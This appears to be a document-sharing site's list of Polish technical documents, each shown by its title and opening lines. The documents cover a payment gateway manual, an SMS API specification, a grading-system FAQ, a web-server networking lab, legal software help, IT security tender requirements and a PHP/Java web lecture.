Bramka płatnicza Dokumentacja techniczna wersja 1.0 strona 2 z 15 Spis treści 1. Wstęp... 3 2. Słownik pojęć... 3 3. Usługa bramki płatniczej... 4 3.1 Realizacja płatności... 4 3.1.1 Postępowanie... 4
Specyfikacja techniczna. mprofi Interfejs API
Warszawa 09.04.2015. Specyfikacja techniczna mprofi Interfejs API wersja 1.0.2 1 Specyfikacja techniczna mprofi Interfejs API wersja 1.0.2 WERSJA DATA STATUTS AUTOR 1.0.0 10.03.2015 UTWORZENIE DOKUMENTU
FAQ Systemu EKOS. 1. Jakie są wymagania techniczne dla stanowiska wprowadzania ocen?
27.06.11 FAQ Systemu EKOS 1. Jakie są wymagania techniczne dla stanowiska wprowadzania ocen? Procedura rejestracji ocen wymaga podpisywania protokołów (w postaci wypełnionych formularzy InfoPath Forms
Laboratorium 3.4.2: Zarządzanie serwerem WWW
Laboratorium 3.4.2: Zarządzanie serwerem WWW Topologia sieci Tabela adresacji Urządzenie Interfejs Adres IP Maska podsieci Domyślna brama R1-ISP S0/0/0 10.10.10.6 255.255.255.252 Nie dotyczy Fa0/0 192.168.254.253
Kancelaria Prawna.WEB - POMOC
Kancelaria Prawna.WEB - POMOC I Kancelaria Prawna.WEB Spis treści Część I Wprowadzenie 1 Część II Wymagania systemowe 1 Część III Instalacja KP.WEB 9 1 Konfiguracja... dostępu do dokumentów 11 Część IV
ZAŁĄCZNIK Nr 1 do CZĘŚCI II SIWZ
ZAŁĄCZNIK Nr 1 do CZĘŚCI II SIWZ WYMAGANIA BEZPIECZEŃSTWA DLA SYSTEMÓW IT Wyciąg z Polityki Bezpieczeństwa Informacji dotyczący wymagań dla systemów informatycznych. 1 Załącznik Nr 1 do Część II SIWZ SPIS
Tworzenie witryn internetowych PHP/Java. (mgr inż. Marek Downar)
Tworzenie witryn internetowych PHP/Java (mgr inż. Marek Downar) Hypertext Xanadu Project (Ted Nelson) propozycja prezentacji dokumentów pozwalającej czytelnikowi dokonywać wyboru Otwarte, płynne oraz ewoluujące